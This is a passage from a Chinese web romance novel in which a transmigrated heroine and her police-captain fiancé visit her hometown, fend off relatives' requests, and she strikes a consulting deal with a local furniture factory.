“有一点的话,等过一阵子你给舅舅打电话,再问问。”楚隽说:“孩子丢了,咱们帮忙是应该的。但是孩子没丢,这是匡家的家务事,不好插手的。” 所谓,家丑不可外扬。 这种兄弟父子为了钱撕破脸的事情,就是个实打实的丑事。就像是匡家三兄弟的身世,就算村里的人都莫讳如深,知道也不提。 更何况是外乡人,还是有亲戚在村里的,安暖知道太多,并不好。 没会儿,回了舅舅家。 安舅舅连忙来询问情况如何。 楚隽没有多说,只是说孩子找到了。 大家都松了一口气,纷纷说找到就好,找到就好。 大部分人都是很单纯的,真心实意地想着别人好,一听说孩子找到了,大家都很高兴。 安舅舅说:“你们昨晚上都没睡好,既然孩子找到了,那赶紧吃了中饭,好好休息休息。” 安暖和楚隽本来打算昨天拜访村子里的长辈故人,今天就离开回县城的。 没想到出了小宝的事情,昨天就耽误了一天,今天又过了半天。 而且村子里要拜访的人,也没有拜访。 两人从匡家过来的路上就商量了一下,中午吃了饭,就不补觉了,直接去拜访爷爷的故人。 晚上在舅舅家再住一夜,明天一早回县城。 拜访故人很顺利,不过到了晚上,没能在安舅舅家过夜。叔叔下午就来抓人。 说昨天晚上,安暖在舅舅家过的夜,今天晚上,说什么都要在叔叔家住了。 要不的话,就是看不起叔叔了。 这顶帽子安暖可不想戴,这是要被戳脊梁骨的。 于是安暖就去了叔叔家吃了第二顿饭,晚上也打算住在叔叔家。 吃了饭,大家不着急睡,坐在一起聊天。 曲叔叔说:“暖暖啊,之前听说,你在京市已经找到工作了?” “是啊。” “那……京市可是首都,一定很繁华热闹,工作很多吧?和咱们村里,完全不能比吧。” 安暖觉得有点不好。 “就……还好吧。”安暖说:“城里有城里的好,村里有村里的好。” “你太谦虚了。”曲叔叔说:“小楚,在京市认识很多人吧?” 楚隽跟着安暖一起谦虚:“还好还好。我是在京市长大的,自然会认识一些人。也都是普通人。” 安叔叔笑了一下,给楚隽添了点茶水。 “小楚啊,叔叔有件事情,想请你帮忙。” 楚隽连忙起身让了一下。 “叔叔您客气了,有话您说。” 安叔叔拽过了一边的女儿,安暖的堂妹安小雅。 安叔叔说:“小雅今年高中毕业,学也上不下去了,村子里的活计也少,不知道做什么才好。今日看见了你们,我想着,京市那么大,肯定有更多的出路。也不知道你们能不能给她介绍个工作……” 安叔叔这话一说,楚隽就有些为难了。 他没有点头,也没有摇头,但是看了一眼安暖。 这事情他说了不算,必须让安暖做决定。 如果安暖点头,他一定要给安暖面子,必须答应。 如果安暖不点头,那就另当别论,要想着怎么婉转地拒绝了。 安叔叔说完,就看着楚隽。 楚隽还没说话,安暖就开口了。 “楚隽。”安暖说:“我突然想起来,车上还有几包点心,叔叔肯定喜欢。你去拿一下。” “好。” 楚隽立刻就起身出去了。 安暖这是把他支开呢。 等楚隽出去了,安暖这才道:“叔叔,这事情,楚隽在不好说的。” 安叔叔立刻道:“你说。” “叔叔,我不是不想带小雅出去,但是现在不合适。”安暖开门见山:“咱们不是外人,我就不说客套话了。” 安叔叔多少尴尬了一下:“你说。” 安暖道:“您知道的,我和楚隽是娃娃请,是爷爷生前指腹为婚。我们之前也没见过,一直到父亲过世之后,我去京市,这才遇见。我们满打满算,认识也不过一个月左右。” 安叔叔点了点头。 这一点,大家都知道。 安暖又道:“我在京市也是举目无亲,只有刚认识的楚家人。住在他们家,吃喝都靠楚家,工作也是他们安排的。没有任何根基,没有自己的关系和熟人。” 安叔叔一家,神情都变得比较沉重。 “叔叔你明白我的意思吗?”安暖说:“我不是不想帮忙,但现在真不合适。有些事情,要循序渐进,不然的话,只会适得其反。” 安暖觉得自己说得已经很明白了。 安叔叔最好是能明白,如果真的不明白,那她就说得再明白一些。 反正是不能答应的。 她自己的人情卖一卖就算了,不能因为她和楚隽的情分,让楚隽去做不好拒绝,又不想答应的事情。 安叔叔抽了两口烟,点了点头。 “你说的确实有道理。”安叔叔说:“这事情,是我们着急了。” 安暖点了点头。 “叔叔理解就好,这事情我记着了,心里有数。” 她当然愿意拉扯原身的亲戚一把,不过是在自己的力所能及的情况下,而不是慷他人之慨。 第264章 门当户对 没一会儿,楚隽拿了点心进来了。 安叔叔一家已经换了话题,又和乐融融了。 楚隽看一眼安暖,心里只觉得十分舒服。 也不知道上辈子做了什么行善积德的事情,能有这么一个上得厅堂,下得厨房,那么厉害还拎得清的未婚妻。 两人又在安叔叔家住了一夜。 第二天一早,就要回县城了。 安叔叔本来给准备了一些礼品,但安暖只拿了少量的一些,其他的实在不好拿。 村子里,农家自己种的菜,养的鸡鸭,鸡鸭生的蛋。 如果他们当天就能回京市,这些都是好东西,家里都会喜欢的。可回去还要几天,路上还打算拜访一下楚隽的朋友,这种新鲜不能摆放的东西,总不能每天还要在路上停车遛鸡吧。 只好婉拒了。 上午十点,两人终于离开了村子。 安暖靠在副驾驶上,叹了口气。 “怎么了?”楚隽侧头看她。 安暖摇了摇头。 怎么说呢,有种终于完成任务的感觉。 但是这种感觉不好说,她的秘密太秘密,注定要一辈子藏着,即便是再亲密的人,也不能说。 “没事儿。”楚隽说:“反正也不在一个地方住着,日后若是你想见他们,我就陪你回来探亲,若是不想见,也无妨。” 安暖笑了一下。 在这一点上,楚隽非常好。 他尊重安暖的一切选择。 不管在什么事情上,会给安暖选择,会给她意见,不管安暖作出什么选择,都会支持。 安暖想了想,说:“谢谢你。” “怎么突然谢我?”楚隽奇道。 “就是觉得你很好。”安暖说着,探头探脑往四周一看。 路上没人。 于是安暖凑过去,在楚隽脸上亲了一下。 楚隽艰难的压下嘴角的笑。 就算是铁血汉子刑警队长,也快长出恋爱脑了。 中午在路上随便吃了几口点心,下午,终于回到了县城。 终于有地方洗澡,有地方上厕所了。 两人吸取了上一次迟了找不到地方吃饭的教训,早早地就吃了饭,这才回去休息。 第二天一早,楚隽买了早饭,去敲安暖的门。 安暖一边吃,一边问:“咱们是不是今天就走?” “嗯,看你的安排,都可以。”楚隽说:“你要是想在家里多住几天,咱们就多住几天。你要是不想住,咱们就走。” 安暖咬着包子想了想:“不住了,还是走吧。说实话……虽然我家我住了这些年,但这次回来,感觉有点陌生了。” “很正常。”楚隽特别能理解:“由简入奢易,由奢入简难。这是人之常情,也是人类进步的动力。” 安暖一笑:“楚隽,你真实在。” 他们两人在一起,真没那么多矫情。 喜欢好东西,喜欢舒服的生活环境,喜欢好吃的好玩的,没有什么要遮掩的,不喜欢的人才有问题。 既然安暖真心实意的不想多待了,两人便打算今天就离开。 不过也不用太赶时间。 还要去一趟县城派出所,里面有安父的同事。年纪大的年纪轻的,都曾经对安暖照拂良多。 车在派出所门口停下。 安暖蹦了下来。 还没来得及蹦第二下,就听着后面下车的楚隽说:“暖暖,你之前说,很多关于刑事侦查的知识,你都是在这里,跟着伯父的同事学的?” 安暖第二下还没蹦起来,就落下了。 浑身僵了一下。 糟糕,忘了这一茬。 之前为了圆自己对刑侦知识各种熟悉的谎,她都是用爸爸的办公室打的掩护。 现在好了,到了面前了。 也不知道楚隽一会儿会不会多嘴一问,要是一问,不就露馅了吗? 楚隽说完之后,没听见安暖回复,奇怪地看过去,就看见安暖的表情有些不对劲。 “怎么了?”楚隽忙道:“不舒服?” 安暖的脑子是很好的,但是身体素质一般。前天晚上在山上淋了雨,楚隽始终担心她会生病发烧。 “没有。”安暖含糊道:“就是有点……触景生情。” 楚隽还以为她想父亲了,安抚的握了握她的手。 “伯父虽然不在了,但他泉下有知,一定会安心的。” “嗯。” 安暖勉强笑了一下。 如果安父泉下有知,可能会很伤心。但这事情,她也无能为力。 进了派出所,去了安父的办公室。 安暖准备了一些礼物,也没有什么贵重的,就是吃的喝的,一些从京市带来的特产。 冯向文正在办公室里坐着,听见脚步声抬头一看。 “小暖。”冯向文惊喜道:“你来了?” “我来看看大家。” 冯向文高兴的迎了过去。 “对了,我今天早上路过你家,听隔壁婶子说,你家房子要出租。” “对。”安暖说:“我这一趟回京市,可能很久不回来了。房子空着浪费了,所以想租出去。” 冯向文神色暗了一下。 “也是,你要是结婚了,肯定要留在京市。” 嫁鸡随鸡,嫁狗随狗的理念是根深蒂固的。安暖的未婚夫既然在京市,安暖自然要去投奔的。 “你这一去,咱们以后见面,就不知道是什么时候的事情了。”冯向文叹气道:“小暖,我想单独和你说几句话,方便吗?” 安暖点了点头。 楚隽道:“那你们聊,我去一趟卫生间。” “好。” 楚隽走了出去,安暖这才道:“冯大哥,怎么了?有什么事情你说。” 冯向文的视线从楚隽的背影上收回来:“小暖,我们认识很多年了,在我心里,一直把你当妹妹看待。如今,安叔不在了,你更是我的妹妹。” 安暖笑了一下。 在她的记忆里,冯向文确实是一个大哥的存在。 “你去京市不过一个月,之前,你们也没见过。”冯向文说:“我不是说你们不合适的意思,但是我见他开的车,穿的衣服……他家的条件很好吧?” 就算是安暖再谦虚,也不能睁着眼睛说瞎话。 “嗯,挺好的。”安暖说:“是我之前想都没想过的好。” “那你们合适吗?”冯向文有些担心:“我怕你被骗了。” 第265章 老师别走 “嗯……开始也不太合适。”安暖想了想:“但是相处了一段时间之后,觉得还挺合适的。冯哥,你放心吧,我和楚隽在一起,并不是单纯因为他条件好,你认识我也那么久了,我不是那种只爱慕虚荣的人。” 冯向文想也不想道:“那自然不是。但你天真单纯,我怕你会被骗。楚隽这种大城市的公子哥,身边的女孩子一定很多,他能对你一心一意吗?他现在对你好,会不会只是一时新鲜?” 冯向文像是个知心大哥哥一样。 说的话虽然不好听,但是实在话。 这都是正常人的正常想法,只有关系好的人,才会说出来。 关系不好的才不会管你,反正你被抛弃,又不是他被抛弃。 当然,还有一种可能,是另有所图。 但是对安暖来说,这都不重要。 因为这个问题,她考虑得比别人更仔细。 “放心吧,冯大哥。”安暖说:“我想过这个问题。” “你……怎么想的?” 安暖说:“日久见人心,我和楚隽还在相处,并没有立刻就结婚的打算。相处时间长了,自然能看出一个人是好是坏,是真是假。而且,就算日后结婚了,我也会保证自己的权益。” 冯向文有些不解:“怎么保证?” “有很多种方法,比如说,签婚前协议。”安暖说:“你说楚隽未必能靠一辈子,但这世上,谁也不能保证靠一辈子。就算是有血缘关系,还有抛弃孩子的父母,有遗弃父母的孩子呢。” 冯向文哑口无言。 “我明白自己在做什么,会时刻记住,给自己留后路的。”安暖说:“冯大哥,爸爸不在了,我长大了,你不用担心我。” 冯向文看着掷地有声的安暖,叹了口气。 “好,你这么有主意,我就放心了。”冯向文说:“要是在外面受了委屈,就回来。咱们县城虽然不如大城市,可也又吃又喝,活得自在。” 有人关心当然好,安暖利落地应着。 楚隽晃了一圈回来了。 他是个男人,还是个正在热恋中的男人,对有些事情非常敏锐。 冯向文虽然和安暖是兄妹相称的,可又不是真兄妹,那关怀和担心,到底有什么深层次的想法,闭着眼睛也能猜到。 这也很正常,安暖一个长得那么漂亮的大姑娘,性格又好,年纪也合适,身边没有喜欢她的男同志,这才奇怪呢。 不过冯向文有分寸,他没有撕破这层窗户纸,那楚隽也不会多说一句。 只要安暖喜欢的人是他就行。 感情里,需要对另一半的信任。 他身边有这个那个姑娘的时候,安暖可是一点儿也不胡搅蛮缠的。 冯向文该说的都说了,也就没什么好说的了。他只恨自己之前没有对安暖坦露过心思,现在人家都已经带着未婚夫回来了,再说什么就不合适了。 安暖带着楚隽在派出所里转了一圈,想着拜访一下之前和安父熟悉的人,就可以走了。 没想到到了所长那里,走不掉了。 所长一见楚隽,眼前一亮。 “这不是楚队长吗?” 项所长竟然认识楚隽。 楚隽也立刻认出来了:“您是项所长。” “对,是我。”项所长说:“没想到啊,你竟然是小安的未婚夫,真是太有缘分了。” 安暖奇怪一问。 原来项所长之前出去培训了一段时间,去的就是京市,曾经和楚隽,也算是一起上过课,学过习。 虽然他们年纪差别有点大,但是学习嘛,不分年纪。 “确实是太有缘分了。”楚隽和项所长握了握手。 项所长的眼睛亮了一下。 以安暖的经验,知道有事儿。 果然,项所长立刻道:“楚队,你这次来,是陪小安回来探亲的吗?” “是。” “这就要走?” “是,吃了中饭,就打算走了。” 项所长说:“这么快就走,是有什么急事吗?” 楚隽是个老实人,自然道:“那倒是没有,只不过……” 项所长根本就不等他说完,一拍大腿。 “不着急就好,不着急就好。” 小老头儿有点胖,看起来很和气,一点儿也看不出早些年上山剿匪凶神恶煞的样子。 但是也不知道为什么,安暖和楚隽对视一眼,总觉得这小老头儿好像挖了个坑。 项所长握着楚隽的手不放。 “小楚啊,你既然跟小安在一起了,也就是咱们东来县的女婿了。” “是。” “那,你可得给咱们县城做点贡献,你说是不是?” 项所长笑得像是一只老狐狸。 但话赶话到了这份上,难道楚隽能说不吗? 不管项所长要说什么,他都只能认了。 “是,那是自然。” 项所长眉开眼笑:“小楚啊,你有这个觉悟和精神,我特别感动,小安是咱们县城最漂亮的好姑娘,没找错人。” 这高帽子戴的是一顶又一顶的,差一点就把楚隽给压趴下了。 他只能认了。 “项所长,您有什么需要我做的,尽管说。” 豁出去了,也要给安暖长这个脸。 项所长说:“是这样的。小楚你现在是京市市局的刑警队长,在刑侦这一块上,一定有很多先进的经验。咱们这小地方,人才欠缺。我一直想从外地请一些经验丰富的技术人员,给咱们所里的同志上上课,可是一直请不到。这不,你来了……” 楚隽一听,明白了。 公安系统内部,如果有疑难案件,自己搞不定了,会从别处借调经验丰富,优秀的刑侦人员,成立专案组进行侦查。 没有疑难案件的情况下,也有各种交流,学习,努力提升自己。 有些是统一安排的,有些,能请来什么人,就看自己的本事了。 东来这样的小地方,很难请来大神。 他虽然不是什么大神,但是年纪轻轻能成为京市市局的刑警队长,厚着脸皮说一句,也是小有名气的。 项所长这事情虽然有些不厚道,但说到底,不是为自己,是为了公家。 为公家,卖自己的脸。这是为人民服务。 这个年代,有很多老同志都有这样的精神,为大家奉献小家,只要是对人民群众有利的,自己欠些人情上些手段,那都可以。 楚隽算了算时间还来得及,爽快道:“行,项所长,那我就多留几天。不敢说给大家上课,不过有一些经验,可以和大家交流一下,取长补短,共同进步。” 第266章 神仙劳动 项所长一听,特别高兴。 这可真是托了安暖的福,要不然的话,他们这种小地方,可请不来楚隽。 当下项所长就抓着楚隽的手,说什么都要请他和安暖吃顿饭。 就在派出所的食堂里,项所长叫了几个人作陪。 不喝酒,只吃饭,开始还聊了几句客套话,越聊越正式,越聊越严肃。 但是安暖越聊越觉得不安心。 这身体的原主,确实经常来派出所找父亲,但是从来都只是过来送饭,送衣服,或者是一些非常正常的事情。言谈举止中,不曾表露过一丝一毫对刑侦的兴趣。 偶尔看见有罪犯,或者看见血腥的场面,就像是一个普通的小姑娘一样,害怕又紧张。 安父,虽然确实是一个民警。但也只是一个普通的民警。 他已经过世,没人会说他不好,但是,普通就是普通,他所表现出来的,和安暖表现出来的完全不是一个水平。 虎父无犬女,说不过去。 安暖知道,楚隽曾经怀疑过她。 只是没有任何破绽,他不得不自我说服,自我攻略。 如今到了东莱县派出所,她怕楚隽又要怀疑了。 安暖喝了一口汤,叹了一口气。 她不怕露出破绽,因为她不可能有破绽。 但是她怕麻烦。 吃完饭,项所长客气地跟楚隽说:“小楚,你们下午先休息,也准备准备,上课的事情,明天开始,你看可以吗?” “可以。”楚隽说:“您安排就行。” “好。”项所长很满意,看两个年轻人的目光充满慈爱:“那,你们就去玩儿吧。” 要是外地人,还给安排安排住处。可是安暖就是本地的,有房子有地方住,就没什么好安排的了。 项所长觉得自己年纪虽然大了,但是心态很年轻。他精准把控了年轻小情侣的心思。 谁要他一个老头子陪着啊,年轻小情侣,有自己的生活和空间。 出了派出所,安暖有点无语道:“楚隽,给他们上课,你为难吗?” 她生怕楚隽是因为她,不得不答应。 “不为难。”楚隽爽快道。 “真的?” “当然。”楚隽牵了安暖的手:“都是为人民服务,有什么好为难的。” 这年代的人,觉悟那都是相当的高。 那就好,安暖这就放心了。 “不过……”楚隽说:“咱们这几天晚上,要在哪里过夜?” 有两个选择,要么住招待所,要么,就在安暖家里。 按理说,当然是住在家里。 有家,没有道理去住招待所。 但是楚隽能感觉出来,安暖更倾向住招待所。她对自己家,有种熟悉的陌生感。 安暖叹了口气。 “咱们……还是回家住吧,要是一直住招待所,有点奇奇怪怪的。” 楚隽觉得很好。 因为家里只有一张床能住人,床上只有一床被子。 就住几天,也不至于还要置办床上用品,那他们俩只能继续在一起将就一下了。 “只是已经让邻居婶子帮我把房子租出去了,也不知道租了没有。”安暖说:“这样吧,我们回去看看。要是没租出去,咱们就出来吃了饭,然后回去。要是已经租出去了,我们这几天就住招待所。” 两人当下就开车回家,一问,果然没那么快租出去。 因为安暖说了要给一半房租做酬劳,这算是有了共同利益,邻居婶子在这件事情上就格外费心。想着多租一块是一块,安暖能多拿点钱,她也能多拿点钱。 当听说两人还要住几天之后,婶子爽快地叫自家小子再搬一些柴火过去。 也不用太多,至少要够这几天安暖他们生火烧水的。 楚隽一看,连忙说我来我来。 于是他卷起袖子,扛起了一大捆柴。 这些柴都还挺大,还要用斧子劈小一些。 正好下午没事儿,楚隽既来之,则安之,打算融入一下本地生活。 将柴扛回院子,放在地上。 楚隽说:“我看见斧子在厨房里吧?” “啊,对,在。”安暖说:“但是你会劈柴吗?” “额……”楚隽想了想,实事求是道:“没劈过,但问题应该不大。不是什么技术活儿,有力气,有准头,应该就可以。” 安暖也想了想。 同意。 楚隽去找了斧头出来,拿在手里颠了颠。 这点体力活儿对他来说,确实不算什么。 安暖站在一边,欲言又止。 “怎么了?”楚隽说:“不相信我能干好?” “没有没有。”安暖连忙说:“这点小事,咱们楚队,肯定能干好。” 楚隽当仁不让,但是干活儿前随口一问:“以前你们家的柴,谁劈?” 这真是个致命题。 安暖父女俩相依为命,安父又经常忙于工作,按理来说,安暖就是没娘的孩子早当家,家里家外的所有活儿,包括劈柴挑水烧饭针线活儿,都应该是一把好手才对。 但现在明显不是。 安暖脑子里有那些记忆,但是没干活的事情,光有记忆,那只能是明白步骤,绝对不可能熟练。 就像是只有理论知识,没有实战经验,那就是纸上谈兵。 “我爸。”安暖只能说:“他说我是个女孩子,不适合做体力活儿。都是他有空的时候多劈点放着慢慢用,要不然,就用煤。咱们乡下其实生火的地方不多,烧饭也简单,也不会天天烧水洗澡。” 楚隽也不至于跑去隔壁邻居家询问她以前是不是在家里劈柴吧,问了也不怕,记忆中,安暖确实也不是多勤快的人。 楚隽点了点头,没想太多,抡起胳膊开始劈柴。 十月的天虽然凉了,但体力活儿一干,就热了。 楚隽没劈几下就脱了外套,剩下里面一件长袖。 又过了一会儿,长袖也解开了扣子。 里面还有一件背心。 安暖端着个小板凳坐在对面,看着汗水从额头滴下,落在胸口。又从下巴滑下,顺着喉结,滑进背心深处。 安暖心生感慨。 这是劈柴吗,这是劈我啊。 老天爷啊,这是什么神仙劳动。 楚隽劈了一会儿,抬手擦了擦额头的汗,一抬头,看见安暖眼里有星星。 第267章 我赚钱养你 “怎么了?”楚隽放下斧子,笑道:“水拿来我喝一口。” “来了来了。” 安暖回过神来,连忙起来给楚隽倒水。 特别接地气,用的就是家里的大海碗。 楚隽咕噜咕噜地喝完一碗,撩起背心边缘擦了擦嘴。 那一闪而过的腹肌,一块一块的。 安暖想起冯向文的话,担心楚隽不是真心待她,是蒙骗她的。 这一刻,安暖真是用尽了脑细胞也想不出来,楚隽这样的条件,有钱有颜有身材,到底要骗她什么。 就是退一万步,她也不亏啊。 擦了擦汗之后,楚隽又拿起了斧头。 安暖连忙说:“累吗?累就歇一歇。” “不累,这算什么。”楚隽笑了一下,继续劈柴。 这才多点体力消耗,他们训练的时候,一点儿也不比这少。 楚隽很快将这几日要用的柴都劈好了,放下斧子,说:“这几天晚上,你都没舒服洗澡吧。我们去街上看看有没有浴桶,买个浴桶回来,晚上多烧点水,给你泡个澡。” 楚隽说着,走到水井边,从里面拎出一桶水来。 他反手将背心脱了,然后一抬手,一桶水就这么哗啦啦地淋在了头上,身上。 阳光闪烁。 身上的水珠也闪烁。 “不用吧。”安暖干巴巴地说:“就几天时间,随便洗洗就行……单独买个浴桶,是不是太麻烦了。” “这有什么麻烦的,又不是多贵的东西。”楚隽放下水桶,往安暖面前走来。 安暖一看,心里大惊。 “哎,你别过来,你过来干嘛,别把我衣服也弄湿了……” 这是衣服湿不湿的事情吗,实在是这一刻冲击力太大了。 安暖感觉自己真是扛不住一点。 虽说色即是空,空即是色。可也有大师说过,枕在八块腹肌上睡觉,有益身心健康啊。都重生一回了,难道不应该珍惜这纯粹的美好和快乐吗? 眼见楚隽已经到了面前,安暖做了个深呼吸。 然后楚隽一伸胳膊。 拿走了搭在安暖身后椅子被上的毛巾。 “想什么?”楚隽笑话她:“光天化日,朗朗乾坤,你这位女同志,可要把持住。” 然后楚隽就一边擦着身上的水珠,一边进房间换衣服去了。 嘚瑟的都不行。 果然,好看的人他是知道自己好看的。最近楚隽在色诱的赛道上,走得有点癫了。 “唉唉唉……” 安暖跟在后面指着他,唉了三声,终究是看在腹肌的份上,没有忍心指责。 好看的人,是有免骂金牌的。 没一会儿楚隽就换了一身衣服出来。 头发还有点湿,不过短头发干得快,一会儿就好。 “走,去买浴桶,顺便吃饭。” “吃饭可以,真不用买浴桶。”安暖还是觉得太夸张:“我也不是这么讲究的人。” 再说,家里有浴盆,一样可以洗澡。只是现在天气有点冷了,屋子密封也不好,浴盆里的水是有限的,洗起来总是拘束,草草了之。 “话不是这么说。” 楚隽先给安暖打开副驾驶的门。 安暖不解:“那怎么说?” 楚隽上了车,道:“如果咱们没那个条件,你非要强求,那就叫瞎讲究,穷讲究。可既然有这个条件,我就没有理由让你过得比以前要差……我知道你是习惯天天舒服洗澡的,警局那边的三室套,我也准备重新装修一下浴室,装一个浴缸进去。” 上辈子安暖家有一个大浴缸,白天累了,晚上泡一会儿,满浴缸香甜甜的泡泡。 然后放一盘水果,来一瓶饮料,再躺着看一部电影,特别解乏,身心愉悦。 这辈子没这个条件,安暖虽然失望了一下,但是从没有提过一个字,没想到楚隽竟然知道。 楚隽也上了车,握了安暖的手亲了一下,开车。 “暖暖,我说过,在我力所能及的范围内,一定会让你过得舒服满意。而不是说,将就凑合。如果是那样,只能证明我不在乎你,才会觉得你配不上所有的好日子。” 车开出了出去。 一缕夕阳撒在楚隽身上。 他的侧脸无比俊美。 安暖叹了口气,看半晌收回视线。 “楚隽,你那么好,我……” 楚隽看了她一眼:“你怎么样?” 要是普通人,可能要说出我配不上你,或者我好幸福之类的话。 但是安暖认认真真地想了想,说:“我也会对你好的,嗯,要对你更好才行。” 安暖可不是随便说说,说完之后,就开始认真的考虑起来。 对一个人好,怎么好呢,最简单的就是给他最好的。 当然楚隽有钱,可以自己买好东西。但这不影响安暖给他买。 而且,安暖习惯了舒服的生活,也要给自己留后路。万一日后和楚隽有什么矛盾,自己过自己的日子,也不能一朝没了爱情,就从云端跌落。 说到底,自己有钱,才是真有钱。 她也不是不想赚钱,但是本钱有限,自己又一直忙着学习,跟着楚隽办案,实在也没抽出时间来研究生意, 但这钱,还是要赚啊。 争取能养楚隽才好。 楚隽身娇肉贵的,可不好养。 “好。”楚隽认真道:“那我等着你对我好。” 安暖又陷入了思索。 既然是穿越的,掌握了超出时代的信息,那就不能规规矩矩地赚钱。要走接近,找窍门才好。 至少第一桶金,要想个点子。 虽然找楚隽拿钱他不会不同意,但这不太好。 “对了。”楚隽道:“明天我去派出所授课,你和我一起吗?” “我……我就不去了。”安暖说:“我想在县城里逛一逛。毕竟这是我生长的地方,还有一些闺蜜姐妹我想去见见,你自己去吧。中午我去找你吃饭,要是中午我没去,就给你打电话,晚上再去找你。” “行。” 楚隽从来不限制安暖的行动,这是在她的家乡,自然更是不限。 楚隽说:“不过注意安全。” “知道了。”安暖道:“你放心吧,这是我的家乡,又不是外地。小心点才对,项所长啊,就像是一个老狐狸,你可别叫他给吃了。” 第268章 顾问 “你这是什么话。”楚隽撇了一眼安暖:“你未婚夫什么龙潭虎穴没闯过,还能吃亏上当不成?” 安暖呵呵笑了一下。 那不好说。 虽然楚隽很厉害,但是项所长,他年纪大啊。 两人上街,先找地方吃了饭,然后去买浴桶。 这些年改革开放,县城虽然不如大城市,但各种厂子商店也陆续有了,有钱的情况下,也能买到一些东西。 安暖如果有时间,是可以开点引领时尚潮流的店铺的,她看过不少穿越重生年代文,主角都是这么赚钱的。 但现在一切从简。 天擦黑,两人扛了个浴桶回去。 浴桶是新的,烧水烫一下就能用。 今晚有足够的柴能烧水。 烧了满满一大锅水,咕噜咕噜地冒着泡泡。 楚隽四下一看,说:“我看厨房也挺宽敞,要不,就把浴桶放在厨房里泡澡吧。不然抬来抬去的,水都凉了。” 在厨房洗澡虽然有点奇怪,但反正现在家里也没有别人,无所谓的。 安暖也无所谓。 浴桶冲洗之后便放进来厨房,倒了半桶冷水,又倒了大半锅热水。 灶膛里,尚有火星。 楚隽又拎了两桶水在锅里,慢慢烧着。 “好了,洗吧。”楚隽试了试水温:“时间还早不用着急,可以多拍泡一会儿。我就在外面,你有事情就叫我。” 楚隽出了门,将门关上。 水温刚刚好,泡在里面不是一般的舒服。 安暖差一点在浴桶里睡着了。 虽然身体发软,脑子却慢慢清晰。 她在这县城二十几年,对这里的一切都很熟悉,知道这里有几家什么厂,有几家什么店,哪家做生意是什么样子,哪家老板心思活络。 若是以前,这些跟她都没有关系。 但现在,可以有关系。 她有依靠未来信息得来的好主意,没本钱没时间,而这些老板,有钱有时间,缺乏的,就是对先机的把握。 安暖决定要赚这一笔,无本万利的钱。 这天晚上,因为只有一个房间有被褥,所以两人又都是在安暖房里睡的。 就那一张床。 第一天都睡了,第二天也就习惯多了。 楚隽在院子里用热水冲了澡换了衣服,先上了床。 看见安暖进门,他拍了拍身边。 “来,给你把被子捂暖了。”楚隽十分坦然。 安暖关上门,觉得有点怪怪的。 他们俩的进程好像有点快了,你说发生点什么,也没有,最多也就是亲一亲抱一抱。但是晚上睡在一起,又那么一副老夫老妻的感觉。 以她对楚隽的了解,这个年代的正人君子,在没有领结婚证摆酒之前,是绝对不会越雷池一步的。偶尔两人有些情难自持,只要楚隽坚持一点,她知道自己立刻就要丢盔弃甲的投降,但楚隽硬是能控制得住。 只是跟她提过两回,回去之后,要不要把婚事提上日程。 楚隽一副严肃模样,但是门清。 盼望早结婚,早结婚,早吃肉。 未婚妻这么好看,日日在身边,能看不能碰,真是难耐。 安暖上了床,楚隽自然地伸出胳膊。 两人调整出一个舒服的姿势躺好,睡觉。 明天一早,都还忙着呢。 楚隽要去给派出所民警们上课,虽然这一趟出来没想过有这一茬,也没带什么资料,不过他脑子里有东西,十分自信。 安暖就没那么自信了,但是觉得可以一试。 两人在街上吃了早饭,分道扬镳。 楚隽道:“我今天一天都在派出所里不出门,就算出门,也有其他车可以用。车你开走吧,去哪里都方便一些。” 别看县城不大,没个交通工具,跑来跑去也不方便。大城市还有个出租车,县城是没有的,只有极少的公共交通,再就是自行车,大部分人,还是靠走。 “行。”安暖说:“那我就把车开走了,中午我给你打电话。” 将楚隽送到派出所门口,安暖这才开车离开。 根据原主的记忆,安暖来到了县城最大的一家家具厂。 这家家具厂的厂长她是不认识的,但是这个牌子她知道。 这牌子,在她生活的那个年代,依然可以在商场里见到。虽然不是一线品牌,但一个牌子,能纵横几十年依然屹立不倒,足见创始人的厉害。 有见识,有能力,有胆量。 安暖将车停在厂门口,要见厂长。 这也是她开车来的原因之一。 人靠衣裳马靠鞍,她现在一无所有,说的话要叫人信服,就不得不靠硬件凑一凑。 开一辆好车,这就能让人刮目相看。虽然这有些肤浅,但世道就是如此。 经商的人,更是明白。 安暖见了厂长,看了现在工厂里的家具情况,想了想,说:“吴厂长,我是来给你送钱的。” 吴厂长见了安暖的车和穿着,听着她的谈吐,完全没想到她一个月前还是隔壁制衣厂的女工,客气道:“你请说。” 安暖说:“你们厂不错,但是循规蹈矩,在县城还行,可想要大的发展,就要开拓更大的市场。可若不改变创新,就很难在外面出头。” 转型,这是许多老厂老店的艰难痛处。 吴厂长一听。 “愿闻其详。” 关上办公室的门,安暖给吴厂长描述了一个广阔前景。 你这样这样,那样那样。 她没经商过,但是她知道后世流行的市场和样式是什么。 有时候,瓶颈处只要一个提点。 “怎么样?”安暖说:“吴厂长,我刚才说的,你考虑一下。” 吴厂长陷入了沉思。 “安同志说的,确实是关键到位。”吴厂长迟疑道:“但是也冒险。行或不行,谁也不能保证。” “这好办。”安暖爽快道:“我现在不收任何费用。吴厂长若是觉得我的意见可行,你们厂也按此去办,等赚到了钱,再给我提成。我要你利润的两成,就当是顾问费,如何?” 甚至不必立字句,全凭良心。 吴厂长这一刻为安暖的信任都吃惊。 “安同志,你就不怕厂子赚了钱,我不承认吗?” “不会的,既然找来,我就是信任你的人品。”安暖说:“做生意嘛,诚信最重要。而且,我如果是一个合格的,能给厂子赚钱的顾问,顾了第一年,难道你不想顾第二年吗?” 能将生意做出去的人,可不是竭泽而渔的。 第269章 不能给以后挖坑 安暖在家具厂待了一个小时,留下一些点子,拿走一纸合同。 本来她都没想签合同,因为这个合同约束得太少,签了和没签区别不大。单纯是赌对方的本事和良心。 对方要是没本事,赚不到钱。 要是没良心,赚到了也不会分出来,她没有时间盯着查账什么的,只能全靠自觉。 但是有一点,却要注意。 她自己一个人无所谓,如果日后和楚隽结婚了,那就是有家室的人。 普通工作不要紧,他们那样的工作,突然收到一笔钱,这就说不清楚。 知道的人,知道你是跟人合伙做生意。不知道的,就要瞎想了。这是不是贿赂?你说不是,你有什么证据吗?要不是贿赂,为什么要平白给你送钱? 安暖的能力是有限,不值得那么多钱的贿赂。可楚家有权有势,给安暖钱,就是给楚隽钱。到时候就是跳进黄河也洗不清了,会被别有用心的人利用的。 虽然安暖想得有点长远,但不管怎么说,也要防患于未然。 安暖一直认为,自己可以帮不上忙,但不能拖后腿,不能默默地给楚隽挖坑。 这合同上写得清清楚楚,明明白白。 家具厂聘请安暖为顾问,没有底薪,利润抽成百分之五十,每半年一付。 有日期,有合同,有公章,再去人事备个案,明明白白。 